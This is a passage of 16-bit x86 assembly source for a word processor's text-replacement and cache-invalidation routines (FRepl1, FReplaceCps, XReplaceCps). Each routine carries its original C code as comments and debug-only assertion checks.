sbb dx,[si.HI_cpLimCa]
add cx,[si.LO_cpFirstCa]
adc dx,[si.HI_cpFirstCa]
push dx
push cx
push ax
push cs
call near ptr AdjustHplc
; InvalVisiCache();
;#define InvalVisiCache() vdocFetchVisi = docNil; vcbc.w = 0
errnz <docNil - 0>
xor ax,ax
mov [vdocFetchVisi],ax
mov [vcbc],ax
; InvalCellCache();
;#define InvalCellCache() (vcaCell.doc = docNil)
mov [vcaCell.docCa],ax
; }
XR109:
;}
cEnd
; Assert(cpcd <= 0);
ifdef DEBUG
XR110:
push ax
push bx
push cx
push dx
mov bx,[pxsr]
cmp [bx.cpcdXsr],0
jle XR111
mov ax,midEditn2
mov bx,1009
cCall AssertProcForNative,<ax,bx>
XR111:
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
; Assert(!pxsr->fNotEmptyPcaDel ||
; IpcdSplit(hplcpcd, pxsr->pcaDel->cpLim) == ipcdFirst - cpcd);
ifdef DEBUG
XR112:
push ax
push bx
push cx
push dx
mov bx,[pxsr]
cmp [bx.fNotEmptyPcaDelXsr],0
je XR113
sub ax,[bx.cpcdXsr]
push ax ;save ipcdFirst - cpcd
mov dx,[si.HI_cpLimCa]
mov ax,[si.LO_cpLimCa]
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
call LN_IpcdSplit
pop cx ;restore ipcdFirst - cpcd
cmp ax,cx
je XR113
mov ax,midEditn2
mov bx,1010
cCall AssertProcForNative,<ax,bx>
XR113:
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
ifdef DEBUG
XR114:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc XR115
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midEditn2
mov bx,1011
cCall AssertProcForNative,<ax,bx>
XR115:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je XR116
mov ax,midEditn2
mov bx,1012
cCall AssertProcForNative,<ax,bx>
XR116:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
; AssertDo(FOpenPlc(hplcpcd, ipcdFirst, cpcd + carry));
ifdef DEBUG
XR117:
or ax,ax
jne XR118
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1013
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
XR118:
ret
endif ;DEBUG
;LN_DoInval assumes pca passed in si and performs
;if (!vfNoInval) { InvalCp1(pca); }
;else InvalCaFierce();
;ax, bx, cx, dx are altered.
LN_DoInval:
mov ax,[vfNoInval]
or ax,ax
jne LN_InvalCaFierce
errnz <fTrue - 1>
inc ax
cCall InvalCp1,<si>
ret
;-------------------------------------------------------------------------
; InvalCaFierce()
;-------------------------------------------------------------------------
;/* I n v a l C a F i e r c e */
;/* NATIVE (pj 3/9) called very frequently for operations with vfNoInval */
;NATIVE InvalCaFierce()
;{
;/* unconditionally invalidate CAs and other important docs */
; InvalLlc();
;#define InvalLlc()
; %%Function:N_InvalCaFierce %%Owner:BRADV
PUBLIC N_InvalCaFierce
N_InvalCaFierce:
call LN_InvalCaFierce
db 0CBh ;far ret
LN_InvalCaFierce:
errnz <docNil>
xor ax,ax
; vdocFetch = docNil;
mov [vdocFetch],ax
; caSect.doc = docNil;
mov [caSect.docCa],ax
; caPara.doc = docNil;
mov [caPara.docCa],ax
; caPage.doc = docNil;
mov [caPage.docCa],ax
; caTable.doc = docNil;
mov [caTable.docCa],ax
; caTap.doc = docNil;
mov [caTap.docCa],ax
; caHdt.doc = docNil;
mov [caHdt.docCa],ax
; vtcc.ca.doc = docNil;
mov [vtcc.caTcc.docCa],ax
; vtcc.caTap.doc = docNil;
mov [vtcc.caTapTcc.docCa],ax
; caTapAux.doc = docNil;
mov [caTapAux.docCa],ax
; vtcxs.ca.doc = docNil;
mov [vtcxs.caTcxs.docCa],ax
; Win( vlcb.ca.doc = docNil );
mov [vlcb.caLcb.docCa],ax
; Win( InvalVisiCache() );
;#define InvalVisiCache() (vdocFetchVisi = docNil)
mov [vdocFetchVisi],ax
; Win( InvalCellCache() );
;#define InvalCellCache() (vcaCell.doc = docNil)
mov [vcaCell.docCa],ax
; Win( docSeqCache = docNil );
mov [docSeqCache],ax
;}
ret
;-------------------------------------------------------------------------
; FRepl1(fPlan, pxbc, pxsr)
;-------------------------------------------------------------------------
;/* F R E P L 1 */
;/* delete pca and insert the specified piece (does not do checking or
;adjustment) */
;BOOL FRepl1(pca, fn, fc, dfc)
;struct CA *pca;
;int fn;
;FC fc, dfc;
;{
; struct XBC xbc;
; struct XSR *pxsr;
;#define ixsrRepl1Max 1
; struct XSR rgxsr[ixsrRepl1Max];
; %%Function:N_FRepl1 %%Owner:BRADV
cProc N_FRepl1,<PUBLIC,FAR>,<si,di>
ParmW pca
OFFBP_pca = -2
ParmW fn
OFFBP_fn = -4
ParmD fc
OFFBP_fc = -8
ParmD dfc
OFFBP_dfc = -12
LocalV xbc,cbXbcMin
LocalV rgxsr,1*cbXsrMin
cBegin
; pxsr = (struct XSR *)PxsInit(rgxsr, ixsrRepl1Max, &xbc);
;LN_PxsInit takes pxs in si, ixsMax in cx, pxbc in bx
;and performs PxsInit(pxs, ixsMax, pxbc).
;ax, bx, cx, dx, di are altered. The result is returned in si.
lea si,[rgxsr]
mov cx,1
lea bx,[xbc]
call LN_PxsInit
; pxsr->pcaDel = pca;
; pxsr->fn = fn;
; pxsr->fc = fc;
; pxsr->dfc = dfc;
errnz <OFFBP_fc - OFFBP_dfc - 4>
errnz <fcXsr - dfcXsr - 4>
errnz <OFFBP_fn - OFFBP_fc - 4>
errnz <fnXsr - fcXsr - 4>
errnz <OFFBP_pca - OFFBP_fn - 2>
errnz <pcaDelXsr - fnXsr - 2>
ifdef DEBUG
;Assert es == ds with a call so as not to mess up short jumps.
call FR105
endif ;DEBUG
push si ;save pxsr
mov di,si
lea si,[dfc]
mov cx,(OFFBP_pca - OFFBP_dfc + 2) SHR 1
rep movsw
pop si ;restore pxsr
; XRepl1(fTrue, &xbc, pxsr);
mov ax,fTrue
lea di,[xbc]
push ax
push di
push si
ifdef DEBUG
cCall S_XRepl1,<>
else ;!DEBUG
call LN_XRepl1
endif ;!DEBUG
; if (!FDoTns(&xbc))
; {
;LN_FDoTns takes pxbc in di and performs FDoTns(pxbc).
;fTrue is returned iff carry is true upon return.
;ax, bx, cx, dx are altered.
call LN_FDoTns
jc FR101
; SetErrorMat(matReplace);
; return fFalse;
mov ax,matReplace
cCall SetErrorMatProc,<ax>
jmp short FR104
; }
FR101:
; BeginCommit();
;#define BeginCommit() AssertDo(!vfInCommit++)
ifdef DEBUG
cmp [vfInCommit],0
je FR102
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1014
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FR102:
endif ;DEBUG
inc [vfInCommit]
; XRepl1(fFalse, &xbc, pxsr);
errnz <fFalse>
xor ax,ax
push ax
push di
push si
ifdef DEBUG
cCall S_XRepl1,<>
else ;!DEBUG
call LN_XRepl1
endif ;!DEBUG
; EndCommit();
;#define EndCommit() AssertDo(!--vfInCommit)
dec [vfInCommit]
ifdef DEBUG
je FR103
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1015
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FR103:
endif ;DEBUG
; CloseTns(&xbc);
;LN_CloseTns takes &xbc in di and performs CloseTns.
;ax, bx, cx, dx are altered.
call LN_CloseTns
; return fTrue;
db 0B8h ;turns next "xor ax,ax" into "mov ax,immediate"
FR104:
xor ax,ax
;}
cEnd
ifdef DEBUG
FR105:
push ax
push bx
push cx
push dx
mov ax,ds
mov bx,es
cmp ax,bx
je FR106
mov ax,midEditn2
mov bx,1016
cCall AssertProcForNative,<ax,bx>
FR106:
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
;-------------------------------------------------------------------------
; FReplaceCps(pcaDel, pcaIns)
;-------------------------------------------------------------------------
;/* F R E P L A C E C P S */
;/* General replace routine */
;/* Replace characters from [pcaDel->cpFirst,pcaDel->cpLim) with characters
; from [pcaIns->cpFirst,pcaIns->cpLim) */
;BOOL FReplaceCps(pcaDel, pcaIns)
;struct CA *pcaDel, *pcaIns;
;{
; struct XBC xbc;
; struct XSR *pxsr;
;#define ixsrReplaceCpsMax WinMac(10,8)
; struct XSR rgxsr[ixsrReplaceCpsMax];
; %%Function:N_FReplaceCps %%Owner:BRADV
cProc N_FReplaceCps,<PUBLIC,FAR>,<si,di>
ParmW pcaDel
ParmW pcaIns
LocalV xbc,cbXbcMin
LocalV rgxsr,10*cbXsrMin
cBegin
; Assert(pcaDel->cpFirst >= cp0 && pcaDel->cpLim <= CpMac1Doc(pcaDel->doc));
; Assert(DcpCa(pcaDel) >= cp0 && DcpCa(pcaIns) >= cp0);
ifdef DEBUG
push ax
push bx
push cx
push dx
push si
mov si,[pcaDel]
cmp [si.HI_cpFirstCa],0
jge FRC01
mov ax,midEditn2
mov bx,1017
cCall AssertProcForNative,<ax,bx>
FRC01:
cCall CpMac1Doc,<[si.docCa]>
sub ax,[si.LO_cpLimCa]
sbb dx,[si.HI_cpLimCa]
jge FRC02
mov ax,midEditn2
mov bx,1018
cCall AssertProcForNative,<ax,bx>
FRC02:
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
call LN_DcpCa
or dx,dx
jge FRC03
mov ax,midEditn2
mov bx,1019
cCall AssertProcForNative,<ax,bx>
FRC03:
mov si,[pcaIns]
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
call LN_DcpCa
or dx,dx
jge FRC04
mov ax,midEditn2
mov bx,1020
cCall AssertProcForNative,<ax,bx>
FRC04:
pop si
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
; if (vrulss.caRulerSprm.doc != docNil)
; FlushRulerSprms();
;LN_FlushRulerSprms performs
;if (vrulss.caRulerSprm.doc != docNil)
; FlushRulerSprms();
;ax, bx, cx, dx are altered.
call LN_FlushRulerSprms
; pxsr = (struct XSR *)PxsInit(rgxsr, ixsrReplaceCpsMax, &xbc);
;LN_PxsInit takes pxs in si, ixsMax in cx, pxbc in bx
;and performs PxsInit(pxs, ixsMax, pxbc).
;ax, bx, cx, dx, di are altered. The result is returned in si.
lea si,[rgxsr]
mov cx,10
lea bx,[xbc]
call LN_PxsInit
; pxsr->pcaDel = pcaDel;
; pxsr->pcaIns = pcaIns;
mov ax,[pcaDel]
mov [si.pcaDelXsr],ax
mov ax,[pcaIns]
mov [si.pcaInsXsr],ax
; XReplaceCps(fTrue, &xbc, pxsr);
mov ax,fTrue
lea di,[xbc]
push ax
push di
push si
ifdef DEBUG
cCall S_XReplaceCps,<>
else ;!DEBUG
push cs
call near ptr N_XReplaceCps
endif ;!DEBUG
; if (!FDoTns(&xbc))
; {
;LN_FDoTns takes pxbc in di and performs FDoTns(pxbc).
;fTrue is returned iff carry is true upon return.
;ax, bx, cx, dx are altered.
call LN_FDoTns
jc FRC05
; SetErrorMat(matReplace);
; return fFalse;
mov ax,matReplace
cCall SetErrorMatProc,<ax>
jmp short FRC08
; }
FRC05:
; BeginCommit();
;#define BeginCommit() AssertDo(!vfInCommit++)
ifdef DEBUG
cmp [vfInCommit],0
je FRC06
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1021
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FRC06:
endif ;DEBUG
inc [vfInCommit]
; XReplaceCps(fFalse, &xbc, pxsr);
errnz <fFalse>
xor ax,ax
push ax
push di
push si
ifdef DEBUG
cCall S_XReplaceCps,<>
else ;!DEBUG
push cs
call near ptr N_XReplaceCps
endif ;!DEBUG
; EndCommit();
;#define EndCommit() AssertDo(!--vfInCommit)
dec [vfInCommit]
ifdef DEBUG
je FRC07
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1022
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FRC07:
endif ;DEBUG
; CloseTns(&xbc);
;LN_CloseTns takes &xbc in di and performs CloseTns.
;ax, bx, cx, dx are altered.
call LN_CloseTns
; return fTrue;
db 0B8h ;turns next "xor ax,ax" into "mov ax,immediate"
FRC08:
xor ax,ax
;}
cEnd
;-------------------------------------------------------------------------
; XReplaceCps(fPlan, pxbc, pxsr)
;-------------------------------------------------------------------------
;/* X R E P L A C E C P S */
;XReplaceCps(fPlan, pxbc, pxsr)
;BOOL fPlan;
;struct XBC *pxbc;
;struct XSR *pxsr;
;{
; struct PLC **hplcpcdDest, **hplcpcdSrc;
; int ipcdFirst, ipcdInsFirst, ipcdLim;
; int cpcd;
; struct CA *pcaDel = pxsr->pcaDel;
; struct CA *pcaIns = pxsr->pcaIns;
; int docDel = pcaDel->doc;
; int docIns = pcaIns->doc;
; CP dcpDel = DcpCa(pcaDel);
; CP dcpIns = DcpCa(pcaIns);
; struct DOD **hdodSrc = mpdochdod[docIns];
; struct DOD **hdodDest = mpdochdod[docDel];
; struct PCD pcd;
; %%Function:N_XReplaceCps %%Owner:BRADV
cProc N_XReplaceCps,<PUBLIC,FAR>,<si,di>
ParmW fPlan
ParmW pxbc
ParmW pxsr
LocalW ipcdFirst
LocalW ipcdLim
LocalW ipcdInsFirst
LocalW hplcpcdSrc
LocalW hplcpcdDest
LocalD dcpIns
LocalD dcpDel
LocalV pcd,cbPcdMin
LocalV caDel,cbCaMin
LocalV caIns,cbCaMin
LocalV xbc,cbXbcMin
LocalV rgxsr,10*cbXsrMin
ifdef DEBUG
LocalV rgchAttempt,42
LocalV rgchEditn,10
endif ;DEBUG
cBegin
;#ifdef DEBUG
ifdef DEBUG
; if (fPlan)
; /* no point doing all this twice! */
; {
cmp [fPlan],fFalse
jne Ltemp009
jmp XRC12
Ltemp009:
push ax
push bx
push cx
push dx
push si
; Assert(pcaDel->cpFirst >= cp0 && pcaDel->cpLim <= CpMac1Doc(docDel));
mov bx,[pxsr]
mov si,[bx.pcaDelXsr]
cmp [si.HI_cpFirstCa],0
jge XRC01
mov ax,midEditn2
mov bx,1023
cCall AssertProcForNative,<ax,bx>
XRC01:
cCall CpMac1Doc,<[si.docCa]>
sub ax,[si.LO_cpLimCa]
sbb dx,[si.HI_cpLimCa]
jge XRC02
mov ax,midEditn2
mov bx,1024
cCall AssertProcForNative,<ax,bx>
XRC02:
; Assert(dcpDel >= 0 && dcpIns >= cp0);
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
mov bx,[pxsr]
mov si,[bx.pcaDelXsr]
call LN_DcpCa
or dx,dx
jge XRC03
mov ax,midEditn2
mov bx,1025
cCall AssertProcForNative,<ax,bx>
XRC03:
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
mov bx,[pxsr]
mov si,[bx.pcaInsXsr]
call LN_DcpCa
or dx,dx
jge XRC04
mov ax,midEditn2
mov bx,1026
cCall AssertProcForNative,<ax,bx>
XRC04:
; Assert(docDel != docIns);
mov bx,[pxsr]
mov si,[bx.pcaDelXsr]
mov ax,[si.docCa]
mov si,[bx.pcaInsXsr]
cmp ax,[si.docCa]
jne XRC05
mov ax,midEditn2
mov bx,1027
cCall AssertProcForNative,<ax,bx>
XRC05:
; /* assured by caller */
; Assert(vrulss.caRulerSprm.doc == docNil);
cmp [vrulss.caRulerSprmRulss.docCa],docNil
je XRC06
mov ax,midEditn2
mov bx,1028
cCall AssertProcForNative,<ax,bx>
XRC06:
; /* assure that if vdocScratch is being used, it has been "Acquired" */
; Assert ((vdocScratch == docNil || (docDel != vdocScratch &&
; docIns != vdocScratch) || fDocScratchInUse));
mov ax,[vdocScratch]
cmp ax,docNil
je XRC08
cmp [fDocScratchInUse],fFalse
jne XRC08
cmp ax,[si.docCa]
je XRC07
mov bx,[pxsr]
mov bx,[bx.pcaDelXsr]
cmp ax,[bx.docCa]
jne XRC08
XRC07:
mov ax,midEditn2
mov bx,1029
cCall AssertProcForNative,<ax,bx>
XRC08:
; /* check that deleted portion is legal WRT fields */
; AssertSz(!vdbs.fCkFldDel || FCkFldForDelete(docDel, pcaDel->cpFirst, pcaDel->cpLim)
; && FCkFldForDelete(pcaIns->doc, pcaIns->cpFirst, pcaIns->cpLim),
; "Attempt to delete unmatched field char!");
;#define AssertSz(f,sz) ((f) ? 0 : AssertSzProc(SzFrame(sz),(CHAR *)szAssertFile,__LINE__))
cmp [vdbs.fCkFldDelDbs],fFalse
je Ltemp007
mov bx,[pxsr]
mov si,[bx.pcaDelXsr]
push [si.docCa]
push [si.HI_cpFirstCa]
push [si.LO_cpFirstCa]
push [si.HI_cpLimCa]
push [si.LO_cpLimCa]
cCall FCkFldForDelete,<>
or ax,ax
je Ltemp008
mov bx,[pxsr]
mov si,[bx.pcaInsXsr]
push [si.docCa]
push [si.HI_cpFirstCa]
push [si.LO_cpFirstCa]
push [si.HI_cpLimCa]
push [si.LO_cpLimCa]
cCall FCkFldForDelete,<>
or ax,ax
je Ltemp008
Ltemp007:
jmp XRC11
Ltemp008:
push si
push di
push ds
push es
push cs
pop ds
push ss
pop es
mov si,offset szAttempt2
lea di,[rgchAttempt]
mov cx,cbSzAttempt2
rep movsb
jmp short XRC09
szAttempt2:
db 'Attempt to delete unmatched field char! ',0
cbSzAttempt2 equ $ - szAttempt2
errnz <cbSzAttempt2 - 41>
XRC09:
mov si,offset szEditn2
lea di,[rgchEditn]
mov cx,cbSzEditn2
rep movsb
jmp short XRC10
szEditn2:
db 'editn.asm',0
cbSzEditn2 equ $ - szEditn2
errnz <cbSzEditn2 - 10>
XRC10:
pop es
pop ds
pop di
pop si
lea ax,[rgchAttempt]
lea bx,[rgchEditn]
mov cx,1027
cCall AssertSzProc,<ax,bx,cx>
XRC11:
; }
;#endif /* DEBUG */
pop si
pop dx
pop cx
pop bx
pop ax
XRC12:
endif ;DEBUG
; if (dcpIns == 0)
; /* This is just too easy . . . */
; {
mov di,[pxsr]
mov si,[di.pcaInsXsr]
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
call LN_DcpCa
mov [OFF_dcpIns],ax
mov [SEG_dcpIns],dx
or ax,dx
jne XRC13
; pxsr->fn = fnNil;
; pxsr->fc = fc0;
; pxsr->dfc = fc0;
errnz <fcXsr - dfcXsr - 4>
errnz <fnXsr - fcXsr - 4>
push ds
pop es
errnz <fnNil - 0>
xor ax,ax
push di ;save pxsr
errnz <([dfcXsr]) - 0>
errnz <(([fnXsr]) - ([dfcXsr])) AND 1>
mov cx,(([fnXsr]) - ([dfcXsr]) + 2) SHR 1
rep stosw
pop di ;restore pxsr
; XReplace(fPlan, pxbc, pxsr);
push [fPlan]
push [pxbc]
push di
ifdef DEBUG
cCall S_XReplace,<>
else ;!DEBUG
push cs
call near ptr N_XReplace
endif ;!DEBUG
; return;
; }
jmp XRC40
XRC13:
; hplcpcdDest = (*hdodDest)->hplcpcd;
;Assembler note: We initialize hplcpcdDest when
;it is most convenient, not here.
; hplcpcdSrc = (*hdodSrc)->hplcpcd;
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
mov cx,[bx.hplcpcdDod]
mov [hplcpcdSrc],cx
; if (dcpDel != cp0)
; {
;/* delete structures for text being deleted */
; XDeleteStruct(fPlan, pxbc, pxsr);
;Assumes bx = pxbc, cx = fPlan, si = pca, di = pxsr
;ax, bx, cx, dx are altered.
mov bx,[pxbc]
mov cx,[fPlan]
call LN_XDeleteStruct
; if (!fPlan && !vfNoInval)
; InvalParaSect(pcaDel, pcaIns, fFalse);
mov ax,[vfNoInval]
or ax,[fPlan]
jne XRC14
cCall InvalParaSect,<si, [di.pcaInsXsr], ax>
XRC14:
;/* Get the first and last pieces for insertion */
; if (fPlan)
; {
; ipcdInsFirst = pxsr->ipcdInsFirst =
; IInPlc(hplcpcdSrc, pcaIns->cpFirst);
; pxsr->ipcdInsLast = IInPlc(hplcpcdSrc, pcaIns->cpLim - 1);
; pxsr->fNotEmptyPcaDel = (dcpDel != 0);
; }
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
mov cx,[bx.hplcpcdDod]
mov [hplcpcdDest],cx
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
call LN_DcpCa
mov [OFF_dcpDel],ax
mov [SEG_dcpDel],dx
cmp [fPlan],fFalse
je XRC15
or ax,dx
mov [di.fNotEmptyPcaDelXsr],ax
mov bx,[di.pcaInsXsr]
mov cx,[hplcpcdSrc]
push cx ;for IInPlc(hplcpcdSrc, pcaIns->cpFirst);
push [bx.HI_cpFirstCa] ;for IInPlc(hplcpcdSrc, pcaIns->cpFirst);
push [bx.LO_cpFirstCa] ;for IInPlc(hplcpcdSrc, pcaIns->cpFirst);
mov ax,-1
cwd
add ax,[bx.LO_cpLimCa]
adc dx,[bx.HI_cpLimCa]
cCall IInPlc,<cx,dx,ax>
mov [di.ipcdInsLastXsr],ax
cCall IInPlc,<>
mov [di.ipcdInsFirstXsr],ax
; else
; ipcdInsFirst = pxsr->ipcdInsFirst;
XRC15:
mov ax,[di.ipcdInsFirstXsr]
mov [ipcdInsFirst],ax
;/* get the limiting pieces for deletion */
; if (fPlan)
; {
; ipcdFirst = IpcdSplit(hplcpcdDest, pcaDel->cpFirst);
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
push [di.fNotEmptyPcaDelXsr]
mov di,[hplcpcdDest]
mov dx,[si.HI_cpFirstCa]
mov ax,[si.LO_cpFirstCa]
call LN_IpcdSplit
mov [ipcdFirst],ax
pop cx ;restore pxsr->fNotEmptyPcaDel
; ipcdLim = (pxsr->fNotEmptyPcaDel) ?
; IpcdSplit(hplcpcdDest, pcaDel->cpLim) : ipcdFirst;
;
;/* check for failure of IpcdSplit */
; if (ipcdFirst == iNil || ipcdLim == iNil)
; {
; PostTn(pxbc, tntAbort, NULL, 0);
; return;
; }
cmp [fPlan],fFalse
je XRC19
jcxz XRC16
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
mov dx,[si.HI_cpLimCa]
mov ax,[si.LO_cpLimCa]
call LN_IpcdSplit
XRC16:
mov [ipcdLim],ax
errnz <iNil - (-1)>
inc ax
je XRC17
mov ax,[ipcdFirst]
errnz <iNil - (-1)>
inc ax
jne XRC18
XRC17:
;LN_PostTn takes pxbc in bx, tnt in ax, c in cx, h in dx and
;performs PostTn(pxbc, tnt, h, c).
;ax, bx, cx, dx are altered.
mov ax,tntAbort
mov bx,[pxbc]
errnz <NULL>
xor cx,cx
xor dx,dx
call LN_PostTn
jmp XRC40
XRC18:
; /* number of pieces to be added */
; pxsr->cpcd = cpcd = ipcdFirst - ipcdLim + pxsr->ipcdInsLast - ipcdInsFirst +1;
; }
mov dx,di ;save hplcpcdDest for call to PostTn
mov di,[pxsr]
mov ax,[ipcdFirst]
sub ax,[ipcdLim]
add ax,[di.ipcdInsLastXsr]
sub ax,[ipcdInsFirst]
inc ax
mov [di.cpcdXsr],ax
;Assembler note: This PostTn call has been moved from below
;LN_PostTn takes pxbc in bx, tnt in ax, c in cx, h in dx and
;performs PostTn(pxbc, tnt, h, c).
;ax, bx, cx, dx are altered.
; PostTn(pxbc, tntHplc, hplcpcdDest, cpcd);
xchg ax,cx
mov ax,tntHplc
mov bx,[pxbc]
call LN_PostTn
jmp XRC27
; else
; {
; ipcdFirst = IpcdSplit(hplcpcdDest, pcaDel->cpFirst);
; cpcd = pxsr->cpcd;
XRC19:
;Assembler note: ipcdFirst has already been computed
mov di,[pxsr]
; Assert(cpcd == ipcdFirst + pxsr->ipcdInsLast - ipcdInsFirst + 1
; - ((pxsr->fNotEmptyPcaDel) ?
; IpcdSplit(hplcpcdDest, pcaDel->cpLim) : ipcdFirst));
; }
ifdef DEBUG
push ax
push bx
push cx
push dx
mov ax,[ipcdFirst]
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
cmp [di.fNotEmptyPcaDelXsr],fFalse
je XRC20
push di ;save pxsr
mov di,[hplcpcdDest]
mov dx,[si.HI_cpLimCa]
mov ax,[si.LO_cpLimCa]
call LN_IpcdSplit
pop di ;restore pxsr
XRC20:
neg ax
add ax,[ipcdFirst]
add ax,[di.ipcdInsLastXsr]
sub ax,[ipcdInsFirst]
inc ax
cmp ax,[di.cpcdXsr]
je XRC21
mov ax,midEditn2
mov bx,1030
cCall AssertProcForNative,<ax,bx>
XRC21:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
; if (fPlan)
; PostTn(pxbc, tntHplc, hplcpcdDest, cpcd);
;
; else
; {
;Assembler note: The fPlan test, and the call to PostTn have been
;done above
; if (!vfNoInval)
; /* may call CachePara or FetchCp, must call BEFORE changing piece tbl */
; InvalText (pcaDel, fTrue /* fEdit */);
mov ax,[vfNoInval]
or ax,ax
jne XRC215
errnz <fTrue - fFalse - 1>
inc ax
cCall InvalText,<si,ax>
XRC215:
;/* set so vhprc chain is checked when we run out of memory */
; vmerr.fReclaimHprcs = fTrue;
or [vmerr.fReclaimHprcsMerr],maskFReclaimHprcsMerr
;/* adjust pctb size; get pointer to the first new piece, ppcdDest, and to the
;first piece we are inserting. */
; AssertDo(FOpenPlc(hplcpcdDest, ipcdFirst, cpcd));
push [hplcpcdDest]
push [ipcdFirst]
push [di.cpcdXsr]
ifdef DEBUG
cCall S_FOpenPlc,<>
else ;not DEBUG
cCall N_FOpenPlc,<>
endif ;DEBUG
ifdef DEBUG
;Perform the AssertDo with a call so as not to mess up short jumps.
call XRC41
endif ;DEBUG
; FreezeHp();
ifdef DEBUG
call LN_FreezeHpEdit
endif ;DEBUG
;/* ensure rgcp in hplcpcdSrc is adjusted before we copy cps. */
; if (((struct PLC *)*hplcpcdSrc)->icpAdjust < ipcdInsFirst + 1)
; AdjustHplcCpsToLim(hplcpcdSrc, ipcdInsFirst + 1);
mov si,[hplcpcdSrc]
mov bx,[si]
mov ax,[ipcdInsFirst]
push ax ;save ipcdInsFirst
inc ax
cmp [bx.icpAdjustPlc],ax
jge XRC22
push si
push ax
push cs
call near ptr AdjustHplcCpsToLim
XRC22:
pop ax ;restore ipcdInsFirst
;/* fill first new piece and split it appropriately */
; GetPlc(hplcpcdSrc, ipcdInsFirst, &pcd);
push si ;argument for CpPlc
push ax ;argument for CpPlc
lea bx,[pcd]
cCall GetPlc,<si, ax, bx>
; pcd.fc += (pcaIns->cpFirst - CpPlc(hplcpcdSrc, ipcdInsFirst));
cCall CpPlc,<>
mov si,[di.pcaInsXsr]
sub ax,[si.LO_cpFirstCa]
sbb dx,[si.HI_cpFirstCa]
sub [pcd.LO_fcPcd],ax
sbb [pcd.HI_fcPcd],dx
; pcd.fCopied = fTrue; /* para heights invalid */
or [pcd.fCopiedPcd],maskFCopiedPcd
; PutPlc(hplcpcdDest, ipcdFirst, &pcd);
; PutCpPlc(hplcpcdDest, ipcdFirst, pcaDel->cpFirst);
; ipcdLim = ipcdFirst + 1;
mov si,[di.pcaDelXsr]
mov cx,[hplcpcdDest]
mov ax,[ipcdFirst]
push cx ;argument for PutCpPlc
push ax ;argument for PutCpPlc
push [si.HI_cpFirstCa] ;argument for PutCpPlc
push [si.LO_cpFirstCa] ;argument for PutCpPlc
lea bx,[pcd]
push cx
push ax
push bx
inc ax
mov [ipcdLim],ax
cCall PutPlc,<>
cCall PutCpPlc,<>
; if ((cpcd = pxsr->ipcdInsLast - ipcdInsFirst) != 0)
; {
mov cx,[di.ipcdInsLastXsr]
sub cx,[ipcdInsFirst]
jcxz XRC23
;/* fill in rest of inserted pieces */
; ipcdLim += cpcd;
add [ipcdLim],cx
; CopyMultPlc(cpcd, hplcpcdSrc, ipcdInsFirst + 1,
; hplcpcdDest, ipcdFirst + 1,
; pcaDel->cpFirst - pcaIns->cpFirst, 0, 0);
push cx
push [hplcpcdSrc]
mov cx,[ipcdInsFirst]
inc cx
push cx
push [hplcpcdDest]
mov cx,[ipcdFirst]
inc cx
push cx
mov ax,[si.LO_cpFirstCa]
mov dx,[si.HI_cpFirstCa]
mov bx,[di.pcaInsXsr]
sub ax,[bx.LO_cpFirstCa]
sbb dx,[bx.HI_cpFirstCa]
push dx
push ax
xor cx,cx
push cx
push cx
cCall CopyMultPlc,<>
; }
XRC23:
;/* adjust rest of pieces in destination doc */
; AdjustHplc(hplcpcdDest, pcaDel->cpLim, /*dcpAdj*/dcpIns - dcpDel,
; ipcdLim);
push [hplcpcdDest]
push [si.HI_cpLimCa]
push [si.LO_cpLimCa]
mov ax,[OFF_dcpIns]
mov dx,[SEG_dcpIns]
sub ax,[OFF_dcpDel]
sbb dx,[SEG_dcpDel]
push dx
push ax
push [ipcdLim]
push cs
call near ptr AdjustHplc
;/* and inform anyone else who cares */
; (*hdodDest)->fFormatted |= (pcaIns->doc == docScrap) ?
; vsab.fFormatted : (*hdodSrc)->fFormatted;
; PdodMother(docDel)->fMayHavePic |= (docIns == docScrap) ?
